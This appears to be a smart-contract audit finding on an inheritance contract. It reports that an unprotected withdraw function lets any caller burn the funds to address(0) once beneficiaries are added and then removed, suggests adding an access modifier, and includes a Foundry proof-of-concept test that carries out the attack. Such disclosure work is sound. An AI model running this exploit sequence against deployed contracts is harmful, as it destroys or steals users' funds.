All contract funds could be wiped in the particular scenario - beneficiaries added, then removed.
protect with an existing modifier the witdraw function to avoid just anyone calling it.
PoC: function test_withdrawInheritedFundsSendsToAddress0() public {
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
vm.deal(address(im), 10e18);
uint256 contractBalanceBefore = address(im).balance;
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.removeBeneficiary(user1);
im.removeBeneficiary(user2);
vm.stopPrank();
vm.warp(block.timestamp + 90 days);
im.inherit();
bool isInhertied = im.getIsInherited();
assertEq(true, isInhertied);
vm.prank(user3);
im.withdrawInheritedFunds(address(0x0));
vm.stopPrank();
uint256 contractBalanceAfter = address(im).balance;
console.log("contractBalanceBefore: ", contractBalanceBefore);
console.log("contractBalanceAfter: ", contractBalanceAfter);
console.log("user1.balance: ", user1.balance);
console.log("user2.balance: ", user2.balance);
console.log("user3.balance: ", user3.balance);
console.log("address(0).balance: ", address(0x0).balance);
assertNotEq(contractBalanceBefore, contractBalanceAfter);
}